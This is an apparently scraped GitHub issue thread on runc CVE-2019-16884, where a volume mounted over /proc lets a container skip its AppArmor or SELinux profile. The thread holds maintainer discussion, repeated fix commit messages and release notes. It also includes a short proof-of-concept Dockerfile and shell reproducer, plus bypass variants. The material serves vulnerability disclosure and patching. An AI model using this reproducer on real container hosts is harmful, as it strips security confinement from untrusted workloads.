-
Notifications
You must be signed in to change notification settings - Fork 2.1k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
AppArmor can be bypassed by a malicious image that specifies a volume at /proc #2128
Comments
Yeah this looks like I messed up the path checking when porting to Though I do just want to say -- given this was an intended solution to a CTF, it's a shame that we didn't get pinged about it by the organisers beforehand at security@opencontainers.org (or I guess security@docker.com). |
It should be noted that the previous check (before we did |
We currently have this PR that changed the logic #1832 |
@giuseppe how do you think we should handle fixing this where we still have the ability to bind proc in rootless containers? Maybe only allow proc mounts if rootless or check that what is being mounted on |
Fixes opencontainers#2128 This allows proc to be bind mounted for host and rootless namespace usecases but it removes the ability to mount over the top of proc with a directory. ```bash > sudo docker run --rm apparmor docker: Error response from daemon: OCI runtime create failed: container_linux.go:346: starting container process caused "process_linux.go:449: container init caused \"rootfs_linux.go:58: mounting \\\"/var/lib/docker/volumes/aae28ea068c33d60e64d1a75916cf3ec2dc3634f97571854c9ed30c8401460c1/_data\\\" to rootfs \\\"/var/lib/docker/overlay2/a6be5ae911bf19f8eecb23a295dec85be9a8ee8da66e9fb55b47c841d1e381b7/merged\\\" at \\\"/proc\\\" caused \\\"\\\\\\\"/var/lib/docker/overlay2/a6be5ae911bf19f8eecb23a295dec85be9a8ee8da66e9fb55b47c841d1e381b7/merged/proc\\\\\\\" cannot be mounted because it is not of type proc\\\"\"": unknown. > sudo docker run --rm -v /proc:/proc apparmor docker-default (enforce) root 18989 0.9 0.0 1288 4 ? Ss 16:47 0:00 sleep 20 ``` Signed-off-by: Michael Crosby <crosbymichael@gmail.com>
I think both solutions would work. I am not familiar with AppArmor (and out of office this week to try it out), but would it be possible to set the apparmor profile before pivoting to the new rootfs? |
Fixes opencontainers#2128 This allows proc to be bind mounted for host and rootless namespace usecases but it removes the ability to mount over the top of proc with a directory. ```bash > sudo docker run --rm apparmor docker: Error response from daemon: OCI runtime create failed: container_linux.go:346: starting container process caused "process_linux.go:449: container init caused \"rootfs_linux.go:58: mounting \\\"/var/lib/docker/volumes/aae28ea068c33d60e64d1a75916cf3ec2dc3634f97571854c9ed30c8401460c1/_data\\\" to rootfs \\\"/var/lib/docker/overlay2/a6be5ae911bf19f8eecb23a295dec85be9a8ee8da66e9fb55b47c841d1e381b7/merged\\\" at \\\"/proc\\\" caused \\\"\\\\\\\"/var/lib/docker/overlay2/a6be5ae911bf19f8eecb23a295dec85be9a8ee8da66e9fb55b47c841d1e381b7/merged/proc\\\\\\\" cannot be mounted because it is not of type proc\\\"\"": unknown. > sudo docker run --rm -v /proc:/proc apparmor docker-default (enforce) root 18989 0.9 0.0 1288 4 ? Ss 16:47 0:00 sleep 20 ``` Signed-off-by: Michael Crosby <crosbymichael@gmail.com>
Fixes opencontainers#2128 This allows proc to be bind mounted for host and rootless namespace usecases but it removes the ability to mount over the top of proc with a directory. ```bash > sudo docker run --rm apparmor docker: Error response from daemon: OCI runtime create failed: container_linux.go:346: starting container process caused "process_linux.go:449: container init caused \"rootfs_linux.go:58: mounting \\\"/var/lib/docker/volumes/aae28ea068c33d60e64d1a75916cf3ec2dc3634f97571854c9ed30c8401460c1/_data\\\" to rootfs \\\"/var/lib/docker/overlay2/a6be5ae911bf19f8eecb23a295dec85be9a8ee8da66e9fb55b47c841d1e381b7/merged\\\" at \\\"/proc\\\" caused \\\"\\\\\\\"/var/lib/docker/overlay2/a6be5ae911bf19f8eecb23a295dec85be9a8ee8da66e9fb55b47c841d1e381b7/merged/proc\\\\\\\" cannot be mounted because it is not of type proc\\\"\"": unknown. > sudo docker run --rm -v /proc:/proc apparmor docker-default (enforce) root 18989 0.9 0.0 1288 4 ? Ss 16:47 0:00 sleep 20 ``` Signed-off-by: Michael Crosby <crosbymichael@gmail.com>
Fixes opencontainers#2128 This allows proc to be bind mounted for host and rootless namespace usecases but it removes the ability to mount over the top of proc with a directory. ```bash > sudo docker run --rm apparmor docker: Error response from daemon: OCI runtime create failed: container_linux.go:346: starting container process caused "process_linux.go:449: container init caused \"rootfs_linux.go:58: mounting \\\"/var/lib/docker/volumes/aae28ea068c33d60e64d1a75916cf3ec2dc3634f97571854c9ed30c8401460c1/_data\\\" to rootfs \\\"/var/lib/docker/overlay2/a6be5ae911bf19f8eecb23a295dec85be9a8ee8da66e9fb55b47c841d1e381b7/merged\\\" at \\\"/proc\\\" caused \\\"\\\\\\\"/var/lib/docker/overlay2/a6be5ae911bf19f8eecb23a295dec85be9a8ee8da66e9fb55b47c841d1e381b7/merged/proc\\\\\\\" cannot be mounted because it is not of type proc\\\"\"": unknown. > sudo docker run --rm -v /proc:/proc apparmor docker-default (enforce) root 18989 0.9 0.0 1288 4 ? Ss 16:47 0:00 sleep 20 ``` Signed-off-by: Michael Crosby <crosbymichael@gmail.com>
Fixes opencontainers#2128 This allows proc to be bind mounted for host and rootless namespace usecases but it removes the ability to mount over the top of proc with a directory. ```bash > sudo docker run --rm apparmor docker: Error response from daemon: OCI runtime create failed: container_linux.go:346: starting container process caused "process_linux.go:449: container init caused \"rootfs_linux.go:58: mounting \\\"/var/lib/docker/volumes/aae28ea068c33d60e64d1a75916cf3ec2dc3634f97571854c9ed30c8401460c1/_data\\\" to rootfs \\\"/var/lib/docker/overlay2/a6be5ae911bf19f8eecb23a295dec85be9a8ee8da66e9fb55b47c841d1e381b7/merged\\\" at \\\"/proc\\\" caused \\\"\\\\\\\"/var/lib/docker/overlay2/a6be5ae911bf19f8eecb23a295dec85be9a8ee8da66e9fb55b47c841d1e381b7/merged/proc\\\\\\\" cannot be mounted because it is not of type proc\\\"\"": unknown. > sudo docker run --rm -v /proc:/proc apparmor docker-default (enforce) root 18989 0.9 0.0 1288 4 ? Ss 16:47 0:00 sleep 20 ``` Signed-off-by: Michael Crosby <crosbymichael@gmail.com>
CVE-2019-16884 has been assigned for this issue. |
I looked into it some more, and this affects explicit SELinux labels as well: runc/libcontainer/standard_init_linux.go Lines 149 to 152 in 3e425f8
via: At least on Red Hat-derived distributions, the sVirt profile is applied by default so the impact is likely smaller, but it means that it's not just Ubuntu that is affected. |
@leoluk Yeah, because they both use the |
As pointed out by @bennofs in #2129, mounting to # Ubuntu 18.04
mkdir -p rootfs/proc/self/{fd,attr}
touch rootfs/proc/self/{status,fd/4,fd/5,attr/exec}
cat <<EOF > Dockerfile
FROM busybox
ADD rootfs /
VOLUME /
EOF
docker build -t apparmor-bypass .
docker run --rm -it --security-opt "apparmor=docker-default" apparmor-bypass sleep 10
|
The problem is that some workloads depend on mounting things to I want to re-iterate that we could've worked through these issues more easily if the issue had been reported privately first. I get that "responsible disclosure" is a dirty word these days, but that's because of how proprietary software companies have reacted to disclosures in the past -- we're a free software project and so surely it should be clear that we aren't going to act in that manner. But I guess it's too late to have that conversation now. |
Alternatively we could check whether the file we're opening during labeling is actually on EDIT: I've sent opencontainers/selinux#59 and #2130 to do the above. The mount-to- |
FYI, this does not seem to effect SELinux. cat selinux.sh
The label would not be container_t if the process was unconfined. |
Actually I was mistaken. I was testing with crun not runc. runc does not work on F31 right now, so no easy way to fix. |
@rhatdan Looks like podman just ignores the volume so this might be why? |
I can reproduce the SELinux bypass using Docker CE 19.03.2 with runc at 84373aa on Fedora 30 (same reproducer as above, plus $ docker run --rm --runtime=runc-git -v /proc:/proc2 busybox \
cat /proc2/self/attr/current
system_u:system_r:container_t:s0:c504,c813
$ docker run --rm --runtime=runc-git -v /proc:/proc2 selinux-bypass \
cat /proc2/self/attr/current
system_u:system_r:spc_t:s0 |
@leoluk If you apply the two PRs I've posted (you'll need to apply the go-selinux one to the vendor/ tree), can you still reproduce it? In theory we should be relying on the parent process to set up labels but we'll have to implement that later... |
I reviewed the PRs, fix looks solid. Of course, not being in attacker-controlled territory would be best, on the other hand, a sane PaaS would not let untrusted users specify bind/procfs mounts. With opencontainers/selinux#59 applied to the vendored version in runc master and built using
Can't think of a way to bypass it using only
Agreed. Can't really comment on that, since I'm not the one who found the bug and had no prior knowledge of it. I use runc in production and want to help fix this as thoroughly as possible. Thanks y'all for your efforts! |
Actually, I can think of one more thing to fix - runc/libcontainer/utils/utils_unix.go Lines 13 to 17 in 84373aa
This can also be bypassed using $ docker run --rm --runtime=runc-git -v /proc:/dev/shm/proc poc ls -lisa /dev/shm/proc/self/fd
ls: /dev/shm/proc/self/fd/3: cannot read link: No such file or directory
total 0
1582842 0 dr-x------ 2 root root 0 Sep 27 18:12 .
1582841 0 dr-xr-xr-x 9 root root 0 Sep 27 18:12 ..
1582843 0 lrwx------ 1 root root 64 Sep 27 18:12 0 -> /dev/null
1582844 0 l-wx------ 1 root root 64 Sep 27 18:12 1 -> pipe:[1582813]
1582845 0 l-wx------ 1 root root 64 Sep 27 18:12 2 -> pipe:[1582814]
1582888 0 lr-x------ 1 root root 64 Sep 27 18:12 3
1582889 0 l-wx------ 1 root root 64 Sep 27 18:12 4 -> pipe:[1582825] I wrote a quick stap script to audit things that take place after pivot_root: https://gist.github.com/leoluk/72531d264ae5cc9ff1d467dd097a8081 |
Yes we can do a |
I just remembered why we can't do this for AppArmor. There is kernel limitation that the only process which can change the AppArmor label for a given process is itself -- you cannot change the label for any other process (even as root). We can work around it by passing a file descriptor to |
I think this is the bug in question: https://bugs.launchpad.net/ubuntu/+source/lxc/+bug/1639345 They were passing a directory fd to /proc/ and due to a kernel bug, you could win a race and ptrace the process as it entered the namespace to elevate privileges inside the container, then use the fd to escape. Docker drops CAP_SYS_PTRACE and either way passing just a file fd should be safe, no? Even if the fd fails to be closed, the AppArmor profile or SELinux policy won't allow an additional transition. |
The problem is that most users of But if you don't use user namespaces you're in some amount of trouble even without The use of
The issue is that once you have a file descriptor for |
Great explanation! Sure, as soon as you get a dir fd from the host mount namespace, it's over. But couldn't we open the file itself before pivoting, then write to it and close it after? Anything you can do to a filefd besides writing to it that I'm missing? |
This is what I was referring to with " Don't get me wrong, it would definitely not be a bad idea to do something like that (and I'm not against it) -- I'm just a little bit worried how complicated it would get (and how much safety it would buy us over the best-effort
There are some other dodgy things you can do (with things like |
This has been fixed and is now in the |
opencontainers/runc#2128 opencontainers/runc@331692b Upstream patch commit message by Michael Crosby <crosbymichael@gmail.com>: Only allow proc mount if it is procfs Fixes #2128 This allows proc to be bind mounted for host and rootless namespace usecases but it removes the ability to mount over the top of proc with a directory. ```bash > sudo docker run --rm apparmor docker: Error response from daemon: OCI runtime create failed: container_linux.go:346: starting container process caused "process_linux.go:449: container init caused \"rootfs_linux.go:58: mounting \\\"/var/lib/docker/volumes/aae28ea068c33d60e64d1a75916cf3ec2dc3634f97571854c9ed30c8401460c1/_data\\\" to rootfs \\\"/var/lib/docker/overlay2/a6be5ae911bf19f8eecb23a295dec85be9a8ee8da66e9fb55b47c841d1e381b7/merged\\\" at \\\"/proc\\\" caused \\\"\\\\\\\"/var/lib/docker/overlay2/a6be5ae911bf19f8eecb23a295dec85be9a8ee8da66e9fb55b47c841d1e381b7/merged/proc\\\\\\\" cannot be mounted because it is not of type proc\\\"\"": unknown. > sudo docker run --rm -v /proc:/proc apparmor docker-default (enforce) root 18989 0.9 0.0 1288 4 ? Ss 16:47 0:00 sleep 20 ``` CVEs fixed in this build CVE-2019-16168
* Update the runc vendor to v1.0.0-rc9 which includes an additional mitigation for [CVE-2019-16884](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-16884). - More details on the runc CVE in [opencontainers/runc#2128](opencontainers/runc#2128), and the additional mitigations in [opencontainers/runc#2130](opencontainers/runc#2130). * Add local-fs.target to service file to fix corrupt image after unexpected host reboot. Reported in [containerd#3671](containerd#3671), and fixed by [containerd#3745](containerd#3745). * Fix large output of processes with TTY getting occasionally truncated. Reported in [containerd#3738](containerd#3738) and fixed by [containerd#3754](containerd#3754). * Fix direct unpack when running in user namespace. Reported in [containerd#3762](containerd#3762), and fixed by [containerd#3779](containerd#3779). * Update Golang runtime to 1.12.13, which includes security fixes to the `crypto/dsa` package made in Go 1.12.11 ([CVE-2019-17596](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17596)), and fixes to the go command, `runtime`, `syscall` and `net` packages (Go 1.12.12). * Add Windows process shim installer [containerd#3792](containerd#3792) * CRI fixes: - Fix shim delete error code to avoid unnecessary retries in the CRI plugin. Discovered in [containerd/cri#1309](containerd/cri#1309), and fixed by [containerd#3733](containerd#3733) and [containerd#3740](containerd#3740). Signed-off-by: Sebastiaan van Stijn <github@gone.nl>
* Update the runc vendor to v1.0.0-rc9 which includes an additional mitigation for [CVE-2019-16884](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-16884). - More details on the runc CVE in [opencontainers/runc#2128](opencontainers/runc#2128), and the additional mitigations in [opencontainers/runc#2130](opencontainers/runc#2130). * Add local-fs.target to service file to fix corrupt image after unexpected host reboot. Reported in [containerd#3671](containerd#3671), and fixed by [containerd#3746](containerd#3746). * Update Golang runtime to 1.12.13, which includes security fixes to the `crypto/dsa` package made in Go 1.12.11 ([CVE-2019-17596](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17596)), and fixes to the go command, `runtime`, `syscall` and `net` packages (Go 1.12.12). * CRI fixes: - Fix shim delete error code to avoid unnecessary retries in the CRI plugin. Discovered in [containerd/cri#1309](containerd/cri#1309), and fixed by [containerd#3732](containerd#3732) and [containerd#3739](containerd#3739). Signed-off-by: Sebastiaan van Stijn <github@gone.nl>
full diff: containerd/containerd@v1.2.10...v1.2.11 The eleventh patch release for containerd 1.2 includes an updated runc with an additional fix for CVE-2019-16884 and a Golang update. Notable Updates ----------------------- - Update the runc vendor to v1.0.0-rc9 which includes an additional mitigation for CVE-2019-16884. More details on the runc CVE in opencontainers/runc#2128, and the additional mitigations in opencontainers/runc#2130. - Add local-fs.target to service file to fix corrupt image after unexpected host reboot. Reported in containerd/containerd#3671, and fixed by containerd/containerd#3746. - Update Golang runtime to 1.12.13, which includes security fixes to the crypto/dsa package made in Go 1.12.11 (CVE-2019-17596), and fixes to the go command, runtime, syscall and net packages (Go 1.12.12). CRI fixes: ----------------------- - Fix shim delete error code to avoid unnecessary retries in the CRI plugin. Discovered in containerd/cri#1309, and fixed by containerd/containerd#3732 and containerd/containerd#3739. Signed-off-by: Sebastiaan van Stijn <github@gone.nl>
Fixes opencontainers#2128 This allows proc to be bind mounted for host and rootless namespace usecases but it removes the ability to mount over the top of proc with a directory. ```bash > sudo docker run --rm apparmor docker: Error response from daemon: OCI runtime create failed: container_linux.go:346: starting container process caused "process_linux.go:449: container init caused \"rootfs_linux.go:58: mounting \\\"/var/lib/docker/volumes/aae28ea068c33d60e64d1a75916cf3ec2dc3634f97571854c9ed30c8401460c1/_data\\\" to rootfs \\\"/var/lib/docker/overlay2/a6be5ae911bf19f8eecb23a295dec85be9a8ee8da66e9fb55b47c841d1e381b7/merged\\\" at \\\"/proc\\\" caused \\\"\\\\\\\"/var/lib/docker/overlay2/a6be5ae911bf19f8eecb23a295dec85be9a8ee8da66e9fb55b47c841d1e381b7/merged/proc\\\\\\\" cannot be mounted because it is not of type proc\\\"\"": unknown. > sudo docker run --rm -v /proc:/proc apparmor docker-default (enforce) root 18989 0.9 0.0 1288 4 ? Ss 16:47 0:00 sleep 20 ``` Signed-off-by: Michael Crosby <crosbymichael@gmail.com>
full diff: containerd/containerd@v1.2.10...v1.2.11 The eleventh patch release for containerd 1.2 includes an updated runc with an additional fix for CVE-2019-16884 and a Golang update. Notable Updates ----------------------- - Update the runc vendor to v1.0.0-rc9 which includes an additional mitigation for CVE-2019-16884. More details on the runc CVE in opencontainers/runc#2128, and the additional mitigations in opencontainers/runc#2130. - Add local-fs.target to service file to fix corrupt image after unexpected host reboot. Reported in containerd/containerd#3671, and fixed by containerd/containerd#3746. - Update Golang runtime to 1.12.13, which includes security fixes to the crypto/dsa package made in Go 1.12.11 (CVE-2019-17596), and fixes to the go command, runtime, syscall and net packages (Go 1.12.12). CRI fixes: ----------------------- - Fix shim delete error code to avoid unnecessary retries in the CRI plugin. Discovered in containerd/cri#1309, and fixed by containerd/containerd#3732 and containerd/containerd#3739. Signed-off-by: Sebastiaan van Stijn <github@gone.nl> Upstream-commit: cfcf25bb5409eb0c3a9c257b225f2b8890142030 Component: engine
Fixes opencontainers#2128 This allows proc to be bind mounted for host and rootless namespace usecases but it removes the ability to mount over the top of proc with a directory. ```bash > sudo docker run --rm apparmor docker: Error response from daemon: OCI runtime create failed: container_linux.go:346: starting container process caused "process_linux.go:449: container init caused \"rootfs_linux.go:58: mounting \\\"/var/lib/docker/volumes/aae28ea068c33d60e64d1a75916cf3ec2dc3634f97571854c9ed30c8401460c1/_data\\\" to rootfs \\\"/var/lib/docker/overlay2/a6be5ae911bf19f8eecb23a295dec85be9a8ee8da66e9fb55b47c841d1e381b7/merged\\\" at \\\"/proc\\\" caused \\\"\\\\\\\"/var/lib/docker/overlay2/a6be5ae911bf19f8eecb23a295dec85be9a8ee8da66e9fb55b47c841d1e381b7/merged/proc\\\\\\\" cannot be mounted because it is not of type proc\\\"\"": unknown. > sudo docker run --rm -v /proc:/proc apparmor docker-default (enforce) root 18989 0.9 0.0 1288 4 ? Ss 16:47 0:00 sleep 20 ``` Signed-off-by: Michael Crosby <crosbymichael@gmail.com>
A malicious volume can specify a volume mount on
/proc
. Since Docker populates the volume by copying data present in the image, it's possible to build a fake structure that will trick runc into believing it had successfully written to/proc/self/attr/exec
:runc/libcontainer/apparmor/apparmor.go
Lines 23 to 25 in 7507c64
This is possible because apparmor.ApplyProfile is executed in the container rootfs, after pivot_root in prepareRootfs:
runc/libcontainer/standard_init_linux.go
Lines 115 to 117 in 7507c64
checkMountDestinations is supposed to prevent mounting on top of
/proc
:runc/libcontainer/rootfs_linux.go
Lines 464 to 469 in 7507c64
... but the check does not work. I believe the reason is that the
dest
argument is resolved to an absolute path usingsecurejoin.SecureJoin
(before pivot_root), unlike the blacklist in checkMountDestinations, which is relative to the rootfs:runc/libcontainer/rootfs_linux.go
Lines 414 to 419 in 7507c64
Minimal proof of concept (on Ubuntu 18.04):
Not a critical bug on its own, but should get a CVE assigned.
Discovered by Adam Iwaniuk and disclosed during DragonSector CTF (https://twitter.com/adam_iwaniuk/status/1175741830136291328).
The CTF challenge mounted a file to
/flag-<random>
and denied access to it using an AppArmor policy. The bug could then be used to disable the policy and read the file: https://gist.github.com/leoluk/2513b6bbff8aa5cd623f3d7d7f20871aThe text was updated successfully, but these errors were encountered: